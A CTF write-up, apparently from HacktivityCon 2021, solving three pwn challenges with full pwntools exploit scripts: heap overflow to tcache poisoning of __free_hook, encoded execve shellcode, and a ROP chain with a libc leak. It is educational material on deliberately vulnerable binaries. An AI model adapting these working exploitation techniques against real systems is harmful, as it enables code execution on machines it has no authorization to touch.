hacktivitycon2k21{pwn}
Summary
Hi !
Hope that everything’s doing good for everyone!
This weekend, with a couple of teammates, participated on the hacktivitycon 2021
, organized by hackerone, pretty cool CTF, thanks to the organizers !
This was a chill CTF
for us, so I spend many hours on a couple of pwnable
challenges, so here’s the write up for them. Special thanks for dplastico, for the apañe ❤️
Summary
Sharp
Summary
Leak
Exploit
shellcoded
Shelle-2
Sharp
This was a kind of (not again) a note challenge.
Thanks to the author for not doing a note chall
, lol :D
The main purpose of this binary is to create a very bad
database written in C, allocating “names” for the entry of the db.
This Consist on one initial chunk
, that will have a integer
with the amount of entries, and an array of pointers to strings
for the entries names.
The only main thing that was strange, was the use of the libc 2.31
, at least, not safe linking
yet.
Summary
The principal use of this binary, is to serve as a database written in C
, so, the main menu is it as follows:
root@bf49a002b60c:/ctf/work/pwn/sharp# ./sharp
Terrible C Database v0.1a
1. Add user.
2. Remove user.
3. Edit user.
4. Swap users.
5. List all users.
6. Exit.
> 1
Enter username: dead
User added.
1. Add user.
2. Remove user.
3. Edit user.
4. Swap users.
5. List all users.
6. Exit.
> 5
Entry: 0, user: dead
1. Add user.
2. Remove user.
3. Edit user.
4. Swap users.
5. List all users.
6. Exit.
>
The respective reversing and the dissasembly of the respectives functions are as follows:
struct database {
int amount;
char ** names; // This just are the entries of the db, lol
};
void remove_user(database *users){
uint idx;
long in_FS_OFFSET;
uint i;
uint k;
char buf [24];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
printf("Enter entry of user to remove: ");
fgets(buf,16,stdin);
idx = atoi(buf);
if ((uint)users->amount <= idx) {
puts("Invalid entry.\n");
goto LAB_004018fa;
}
free(users->names[idx]);
/* Null the pointer after free, no bug */
users->names[idx] = (char *)0x0;
/* The id's goes backwards on the following lines, this will become handy after.*/
for (i = 0; i < (uint)users->amount; i = i + 1) {
k = i;
if (users->names[(int)i] == (char *)0x0) goto LAB_004018b7;
}
goto LAB_004018dd;
LAB_004018b7:
while (k = k + 1, k < (uint)users->amount) {
users->names[(long)(int)k + -1] = users->names[(int)k];
}
LAB_004018dd:
users->amount = users->amount + -1;
puts("Removed user.\n");
LAB_004018fa:
if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
return;
}
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
void swap_users(database *param_1){
uint _idx_1;
uint _idx_2;
long in_FS_OFFSET;
char idx_1 [16];
char *ref_1;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
if ((uint)param_1->amount < 2) {
puts("Not enough users to swap.\n");
}
else {
printf("Enter entry of user to swap: ");
fgets(idx_1,0x18,stdin);
_idx_1 = atoi(idx_1);
if (_idx_1 < (uint)param_1->amount) {
ref_1 = param_1->names[_idx_1];
printf("Enter entry of user to swap with: ");
fgets(idx_1,0x18,stdin);
_idx_2 = atoi(idx_1);
if ((_idx_2 < (uint)param_1->amount) && (_idx_1 != _idx_2)) {
param_1->names[_idx_1] = param_1->names[_idx_2];
param_1->names[_idx_2] = ref_1;
puts("Swapped users.\n");
}
else {
puts("Invalid entry.\n");
}
}
else {
puts("Invalid entry.\n");
}
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
int print_database(database *chunk){
int ret;
uint i;
if (((chunk == (database *)0x0) || (chunk->names == (char **)0x0)) || (chunk->amount == 0)) {
puts("No users in database.\n");
ret = 0;
}
else {
for (i = 0; i < (uint)chunk->amount; i = i + 1) {
if (chunk->names[(int)i] != (char *)0x0) {
printf("Entry: %d, user: %s\n",(ulong)i,chunk->names[(int)i]);
}
}
puts("");
ret = chunk->amount;
}
return ret;
}
void edit_user(database *users){
uint idx;
size_t end;
long in_FS_OFFSET;
char buf [24];
long local_20;
char *chunk_size;
char *u_name;
local_20 = *(long *)(in_FS_OFFSET + 0x28);
printf("Enter entry of user to edit: ");
fgets(buf,0x10,stdin);
/* There's a heap based overflow here, since the size of the chunk used to calculate the amount of data incoming is the `chunk size`, which includes the headers of the chunk, which means, that we will get a 8 bytes heap overflow. */
idx = atoi(buf);
if (idx < (uint)users->amount) {
chunk_size = *(char **)(users->names[idx] + -8);
printf("\n[*] Username must be less than %lu characters long.\n");
printf("Enter new username: ");
fgets(users->names[idx],(uint)chunk_size & 0xfffffffc,stdin);
u_name = users->names[idx];
end = strcspn(users->names[idx],"\n");
u_name[end] = '\0';
puts("User changed.\n");
}
else {
puts("Invalid entry.\n");
}
if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
void add_user(database *db){
char **tmp_obj;
size_t location;
long in_FS_OFFSET;
size_t size;
long local_20;
uint number;
char *u_added;
local_20 = *(long *)(in_FS_OFFSET + 0x28);
if (db == (database *)0x0) {
puts("Database not initialized.\n");
}
else {
number = db->amount;
db->amount = number + 1;
tmp_obj = (char **)realloc(db->names,(ulong)(uint)db->amount * 8);
db->names = tmp_obj;
db->names[number] = (char *)0x0;
printf("Enter username: ");
/* Safe malloc() with getline, no bug here */
size = 0;
getline(db->names + number,&size,stdin);
u_added = db->names[number];
location = strcspn(db->names[number],"\n");
u_added[location] = '\0';
puts("User added.\n");
}
if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
void main(void){
int opt;
int ret;
database *db;
db = (database *)initialize();
puts("Terrible C Database v0.1a\n");
do {
while (opt = menu(), false) {
switchD_00401a1c_caseD_0:
puts("Invalid choice.\n");
}
switch(opt) {
default:
goto switchD_00401a1c_caseD_0;
case 1:
add_user(db);
break;
case 2:
ret = print_database(db);
if (ret != 0) {
remove_user(db);
}
break;
case 3:
ret = print_database(db);
if (ret != 0) {
edit_user(db);
}
break;
case 4:
ret = print_database(db);
if (ret != 0) {
swap_users(db);
}
break;
case 5:
print_database(db);
break;
case 6:
/* WARNING: Subroutine does not return */
exit(0);
}
} while( true );
}
The main thing to consider on the above code is the following.
- Create entries
- Edit those entries (8 byte heap overflow here)
- Swap the entries on the db (not used on the exploit)
- Remove entries
- List entries
Leak
Since we know that we can abuse an 8 byte heap overflow
on “edit_user()”, the the main plan
for getting a leak and a working exploit is the following.
- alloc 2 big enough chunks to not end in
tcache chunks
(>0x410) (with manytcache
chunks in between), lets name it:big_1 and big_2
dummy chunk | big_1 | tcache_1 | tcache_2 | tcache_3 | tcache_4 | tcache_5 | tcache_6 | tcache_7 | big_2 | dummy_chunk_2 |
(If anyone have any tip how to draw / write
heaps layouts, please, let me know 😆 )
- Edit the chunk just before the
big_2
to overwrite thebig_2.prev_size and big_2.size
, and set theprev_inuse
bit tozero
. - Free the
big_1
chunk to place it to theunsorted bin
and write thecorrect pointers
to thebig_1.fd and big_1.bk
- Edit the first
dummy_chunk
, to overwrite thebig_1.size
, to the same asbig_2.prev_size
, in order to pass thesame size check
. - Free the
big_2
chunk, since thebig_2.prev_inuse
bit is unset, it will make abackwards consolidation
, with our previousbig_1
chunk, giving us abiiiiiiiiig
chunk in theunsorted bin
with manytcache's
chunks inside of it. - Create another big chunk, (I did this by just repeating the process), with an specific size to force an
split chunk
, in order to get theleft_chunk.fd
just inside a previous allocatedtcache chunk
.
With that in mind, the skeleton
, becomes as follows
#!/usr/bin/env python3
from pwn import *
import sys
import subprocess
context(terminal=['tmux', 'split-window','-v'])
context(os="linux", arch="amd64")
context.log_level = "debug"
p_name = "./sharp" ## change for the challenge name
DEBUG = 0
libc_name = "/lib/x86_64-linux-gnu/libc.so.6"
elf = ELF(p_name)
libc = ELF(libc_name)
'''
libc.address
libc.symbols['printf']
'''
if DEBUG:
commands = '''
'''
p = gdb.debug(args = [p_name], gdbscript = commands, exe = p_name, env = {"LD_PRELOAD":"./libc-2.31.so"})
else:
p = remote("challenge.ctf.games",31902)
def f():
p.recvuntil("> ")
def create_user(name, leak = False):
p.sendline("1")
p.recvuntil("username: ")
p.sendline(name)
if not leak:
f()
def remove_user(idx):
p.sendline("2")
p.recvuntil("remove: ")
p.sendline(str(idx))
f()
def edit_user(idx, name):
p.sendline("3")
p.recvuntil("edit: ")
p.sendline(str(idx))
p.recvuntil("username: ")
p.sendline(name)
f()
def swap_user(idx_1, idx_2):
p.sendline("4")
p.recvuntil("swap:")
p.sendline(str(idx_1))
p.sendline(str(idx_2))
f()
def list_user(leak = False):
p.sendline("5")
if not leak:
f()
'''
With edit_user, we can overwrite the chunk prev_size and size
'''
create_user(b"A" * 0x10) # 0
create_user(b"B" * 0x510) # 1
create_user(b"C" * 0x10) # 2
create_user(b"D" * 0x10) # 3
create_user(b"F" * 0x10) # 4
create_user(b"G" * 0x20) # 5
create_user(b"I" * 0x20) # 6
create_user(b"I" * 0x20) # 7
create_user(b"H" * 0x510) # 8
create_user(b"/bin/sh;J" ) # 9
create_user(b"K" * 0x20) # 10
payload_7 = b'A' * 0x70
payload_7 += p64(0xb50 )
payload_7 += p64(0x790)
edit_user(7, payload_7)
yesno("Start the remove ? ")
remove_user(1)
payload_0 = b'Y' * 0x70
payload_0 += p64(0x00)
payload_0 += p64(0xb50)
edit_user(0, payload_0)
remove_user(7)
yesno("Add new users? ")
create_user(b"F" * 0x510, leak = True) # 9
list_user(leak = True)
leak = p.recvuntil("Entry: 1, user: ")
leak = p.recvline().strip().ljust(8,b'\x00')
leak = u64(leak)
libc.address = leak - 0x1ebbe0
log.info("[*] Libc leak: %s " % hex(leak))
log.info("[*] Libc base: %s " % hex(libc.address))
The big_2
chunk, before and after the overflow
Getting the big_1
chunk, with the custom big_2.prev_size
Free the big_1
chunk, to place it into the unsorted bin
.
Edit the chunk before the big_1
, in order to write a custom big_1.size
Free the big_2
chunk in order to make a backwards consolidation
Add a new user with a custom size (0x510), and get the libc leak
by reading our previously allocated chunks
Exploit
Since we have a libc leak, the exploitation process is very straight forward from now
, by doing a tcache poisoning attack
We have a perfect scenario to make this happens, since we have many tcache chunks
already allocated in a heap area
that is in our control. The only problem is that the chunks are broken
, so we must first fix them.
By trail an error, I got the offset where the tcache chunks
are placed inside the big chunk
, in order to fix the tcache_chunks.size
.
After that, free two of contigous tcache
chunks, in reverse order (in order to get the first one
on the top of the tcache list
).
What’s left ?
- Edit the
big_chunk
, in order to overwrite thetcache.fd
to make it points to the__free_hook
. - Get a dummy chunk to place the
__free_hook
in the top oftcache[0x80]
- Get another chunk and write the address of
system
on it - Call free with a chunk with the content of
/bin/sh\x00
- Get the shell :D
Before editing the fd
pointer
After editing the fd
pointer
Writing into the arbitrary chunk
After that, just remove the chunk with the /bin/sh
content
The final exploit, is the following
#!/usr/bin/env python3
from pwn import *
import sys
import subprocess
context(terminal=['tmux', 'split-window','-v'])
context(os="linux", arch="amd64")
context.log_level = "debug"
p_name = "./sharp" ## change for the challenge name
DEBUG = 1
libc_name = "/lib/x86_64-linux-gnu/libc.so.6"
elf = ELF(p_name)
libc = ELF(libc_name)
'''
libc.address
libc.symbols['printf']
'''
if DEBUG:
commands = '''
'''
p = gdb.debug(args = [p_name], gdbscript = commands, exe = p_name, env = {"LD_PRELOAD":"./libc-2.31.so"})
else:
p = remote("challenge.ctf.games",31902)
def f():
p.recvuntil("> ")
def create_user(name, leak = False):
p.sendline("1")
p.recvuntil("username: ")
p.sendline(name)
if not leak:
f()
def remove_user(idx):
p.sendline("2")
p.recvuntil("remove: ")
p.sendline(str(idx))
f()
def edit_user(idx, name):
p.sendline("3")
p.recvuntil("edit: ")
p.sendline(str(idx))
p.recvuntil("username: ")
p.sendline(name)
f()
def swap_user(idx_1, idx_2):
p.sendline("4")
p.recvuntil("swap:")
p.sendline(str(idx_1))
p.sendline(str(idx_2))
f()
def list_user(leak = False):
p.sendline("5")
if not leak:
f()
'''
With edit_user, we can overwrite the chunk prev_size and size
'''
create_user(b"A" * 0x10) # 0
create_user(b"B" * 0x510) # 1
create_user(b"C" * 0x10) # 2
create_user(b"D" * 0x10) # 3
create_user(b"F" * 0x10) # 4
create_user(b"G" * 0x20) # 5
create_user(b"I" * 0x20) # 6
create_user(b"I" * 0x20) # 7
create_user(b"H" * 0x510) # 8
create_user(b"/bin/sh;J" ) # 9
create_user(b"K" * 0x20) # 10
payload_7 = b'A' * 0x70
payload_7 += p64(0xb50 )
payload_7 += p64(0x790)
yesno("first, edit on 7")
edit_user(7, payload_7)
yesno("Start the remove ? ")
remove_user(1)
payload_0 = b'Y' * 0x70
payload_0 += p64(0x00)
payload_0 += p64(0xb50)
yesno("edit on 0")
edit_user(0, payload_0)
yesno("remove on 7")
remove_user(7)
yesno("Add new users? ")
create_user(b"F" * 0x510, leak = True) # 9
list_user(leak = True)
leak = p.recvuntil("Entry: 1, user: ")
leak = p.recvline().strip().ljust(8,b'\x00')
leak = u64(leak)
libc.address = leak - 0x1ebbe0
log.info("[*] Libc leak: %s " % hex(leak))
log.info("[*] Libc base: %s " % hex(libc.address))
yesno("[*] Second stage of the payload ? ")
create_user(b"G" * 0x510, leak = True) # 10
payload_10 = b'A' * 0xa0
payload_10 += p64(0x00)
payload_10 += p64(0x80)
payload_10 += p64(0x00) * 14
payload_10 += p64(0x00)
payload_10 += p64(0x80)
payload_10 += b'BBBBCCCCDDDDEEEE'
# Create a mid chunk, delete it
edit_user(10, payload_10 )
edit_user(1, p64(0xdeadbeef))
edit_user(2, p64(0xbeefdead))
remove_user(2)
remove_user(2)
yesno("Last edit to edit tcache ? ")
payload_10 = b'A' * 0xa0
payload_10 += p64(0x00)
payload_10 += p64(0x80)
payload_10 += p64(libc.symbols['__free_hook']) # fd_pointer, not very necessary, since I'm using the next chunk, lol
payload_10 += p64(0x00) # bk pointer
payload_10 += p64(0x00) * 12
payload_10 += p64(0x00)
payload_10 += p64(0x80)
payload_10 += p64(libc.symbols['__free_hook']) # fd_pointer
payload_10 += p64(0x00)
# Create a mid chunk, delete it
edit_user(8, payload_10 )
#remove_user(4)
# Now we have the poisoned tcache on Tcache[0x80]
yesno("[?] Make free_hook first on tcache ?")
'''
0xe6c7e execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL
0xe6c81 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL
0xe6c84 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
'''
create_user(b"K" * 0x20) # dummy allocation to make the `__free_hook` in the top of tcache
create_user(p64(libc.symbols['system']))
remove_user(5)
p.interactive()
shellcoded
The main purpose of this challenges is that the remote box, execute our shellcode, but it have a restriction on length because the shellcoded is modified. The pseudocode of the binary it is as follows
shellcoded
undefined8 main(void)
{
char ok;
int iVar1;
code *__buf;
ssize_t shellcode_len;
uint i;
__buf = (code *)aligned_alloc(PAGE_SIZE,PAGE_SIZE);
if (__buf == (code *)0x0) {
fwrite("Failed to allocate memory.\n",1,0x1b,stderr);
/* WARNING: Subroutine does not return */
exit(1);
}
puts("Enter your shellcode.");
shellcode_len = read(0,__buf,PAGE_SIZE);
if (-1 < shellcode_len) {
for (i = 0; (int)i < shellcode_len; i = i + 1) {
if ((i & 1) == 0) {
ok = 1;
}
else {
ok = -1;
}
__buf[(int)i] = (code)((char)__buf[(int)i] + (char)i * ok);
}
iVar1 = mprotect(__buf,PAGE_SIZE,5);
if (iVar1 != 0) {
free(__buf);
fwrite("Failed to set memory permissions.\n",1,0x22,stderr);
/* WARNING: Subroutine does not return */
exit(1);
}
(*__buf)();
}
free(__buf);
return 0;
}
The solution is simple, since we just need to call execve("/bin/sh",NULL,NULL);
, with that in mind, the solve script is the following.
#!/usr/bin/env python3
from pwn import *
import sys
import subprocess
context(terminal=['tmux', 'split-window','-v'])
context(os="linux", arch="amd64")
context.log_level = "debug"
p_name = "./shellcoded" ## change for the challenge name
DEBUG = 0
libc_name = "/lib/x86_64-linux-gnu/libc.so.6"
elf = ELF(p_name)
libc = ELF(libc_name)
'''
libc.address
libc.symbols['printf']
'''
if DEBUG:
commands = '''
b * main+345
'''
p = gdb.debug(args = [p_name], gdbscript = commands, exe = p_name)
else:
p = remote("challenge.ctf.games",32383)
payload = asm('''mov al, 0x3b
lea rdi, [rdx + 0xe]
xor rsi, rsi
xor rdx, rdx
syscall
''')
payload += b'/bin/sh\x00'
payload_enc = b''
c = 0
ok = 1
print("The payload is : ")
print(payload)
for k in payload:
print(b"ok for: " + bytes([k]) )
if c&1 == 0:
ok = 1
else:
ok = -1
payload_enc += bytes([k-(c*ok)] )
c = c + 1
p.sendline(payload_enc)
p.interactive()
Shelle-2
I love this challenge, because is "kind of"
similar to the sudo heap overflow
, in order to get a ropchain written.
The disassembly of the binary is it as follows
void run_cmds(void){
int res;
size_t carriage_locate;
long in_FS_OFFSET;
int i;
int off;
char *cmd_buf;
size_t cmd_size;
undefined8 _56;
char buff [504];
long local_20;
char *_cmd_buf;
local_20 = *(long *)(in_FS_OFFSET + 0x28);
cmd_buf = (char *)0x0;
_56 = 56;
puts("\nWelcome to Strict-PsuedoShell, Updated psuedo shell to prevent cheating in assesment.");
puts(
"Strict-PsuedoShell is a super restricted environment to prevent all misuse ( stop cheating by just submitting flags and do your assesments :/ ), Please Enter \'HELP\' to know about available features, happy learning !"
);
fwrite("\nnotroot:P@Strict-psuedoshell$",1,0x1e,stdout);
while( true ) {
while( true ) {
off = 0;
memset(buff,0,500);
cmd_size = 0;
getline(&cmd_buf,&cmd_size,stdin);
_cmd_buf = cmd_buf;
carriage_locate = strcspn(cmd_buf,"\n");
_cmd_buf[carriage_locate] = '\0';
res = strcmp(cmd_buf,"HELP");
if (((res != 0) && (res = strcmp(cmd_buf,"Help"), res != 0)) &&
(res = strcmp(cmd_buf,"help"), res != 0)) break;
puts(
"\nHere is the list of command availiable to Students\n1> whoami\n2> pwd\n3> ls\n4> ps\n5> id\n6> echo\n7> cat\n8> more\n9> clear\n"
);
fwrite("\nnotroot:P@Strict-psuedoshell$",1,0x1e,stdout);
}
res = strcmp(cmd_buf,"EXIT");
if (((res == 0) || (res = strcmp(cmd_buf,"Exit"), res == 0)) ||
(res = strcmp(cmd_buf,"exit"), res == 0)) break;
strncpy(buff,"export PATH=$PWD/bin/:/opt/ ; export SHELL=\'Shellie\' ; ",500);
i = (int)_56;
while (i < 500) {
if (cmd_buf[off] == '\\') {
off = off + 1;
}
else {
if (cmd_buf[off] != '\0') {
buff[_56 + off + -1] = cmd_buf[off];
}
off = off + 1;
i = i + 1;
}
}
puts("Function removed for security.");
free(cmd_buf);
cmd_buf = (char *)0x0;
fwrite("notroot:P@Strict-psuedoshell$",1,0x1d,stdout);
}
if (local_20 == *(long *)(in_FS_OFFSET + 0x28)) {
return;
}
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
The funny thing is that the program itself is stupid as fuck, it does nothing… But, the main problem is while making copy of the buffer. By reading a \\
, the offset
is aumented, but not the counter
, with that, we can write out of bounds
.
while (i < 500) {
if (cmd_buf[off] == '\\') {
off = off + 1;
}
else {
if (cmd_buf[off] != '\0') {
buff[_56 + off + -1] = cmd_buf[off];
}
off = off + 1;
i = i + 1;
}
}
After spotting this issue, the next thing is just a rop chain
.
#!/usr/bin/env python3
from pwn import *
import sys
import subprocess
context(terminal=['tmux', 'split-window','-v'])
context(os="linux", arch="amd64")
context.log_level = "debug"
p_name = "./shelle-2" ## change for the challenge name
DEBUG = 0
libc_name = "/usr/lib/x86_64-linux-gnu/libc-2.31.so"
elf = ELF(p_name)
libc = ELF(libc_name)
'''
libc.address
libc.symbols['printf']
'''
if DEBUG:
commands = '''b * run_cmds+194
b * run_cmds+473
b * run_cmds+655
b * run_cmds+729
'''
p = gdb.debug(args = [p_name], gdbscript = commands, exe = p_name)
else:
p = remote("challenge.ctf.games",30793)
# With 480, we reach the offset for the out of bounds write
rdi = 0x4015f3 # pop rdi; ret;
two_pop = 0x4015f0 #: pop r14; pop r15; ret;
six_pop = 0x4015eb # : pop rbp; pop r12; pop r13; pop r14; pop r15; ret;
four_pop = 0x00000000004015ec#: pop r12; pop r13; pop r14; pop r15; ret;
three_pop = 0x00000000004015ee#: pop r13; pop r14; pop r15; ret;
payload = b'\\' * 481
payload += p64(six_pop)
payload += b'\\' * 8
payload += b'\\' * 8
payload += b'\\' * 8
payload += b'\\' * 8
payload += b'\\' * 8
payload += p64(six_pop)
payload += b'\\' * 8
payload += b'\\' * 8
payload += b'\\' * 8
payload += b'\\' * 8
payload += b'\\' * 8
payload += p64(two_pop)
payload += b'\\' * 8
payload += b'\\' * 8
payload += p64(rdi)
payload += p64(elf.got['puts'])
payload += p64(elf.plt['puts'])
payload += p64(elf.symbols['main'])
sleep(1)
p.sendline(payload)
sleep(1)
p.sendline(b"exit")
p.recvuntil("psuedoshell$")
p.recvuntil("psuedoshell$")
leak = p.recvline().strip().ljust(8,b'\x00')
leak = u64(leak)
libc.address = leak - 0x875a0
log.info("[*] leaked puts on libc: %s" % hex(leak))
log.info("[*] libc base address: %s" % hex(libc.address))
log.info("[*] Setting up for the second stage")
payload = b'\\' * 481
payload += p64(four_pop)
payload += b'\\' * 8
payload += b'\\' * 8
payload += b'\\' * 8
payload += p64(libc.address + 0x8)
#payload += b'AAAABBBB'
payload += p64(rdi)
payload += p64(libc.address + 0x1b75aa)
payload += p64(libc.address + 0xe6c81)
payload += p64(elf.symbols['main'])
sleep(1)
p.sendline(payload)
sleep(1)
p.sendline(b"exit")
p.interactive()
Since was september 18
, I didn’t have many time to solve all the challenges, but, the ones that I could solve, were awesome, thanks for the challenges to the organizers and the sponsors.
Hope that this make sense,
cheers!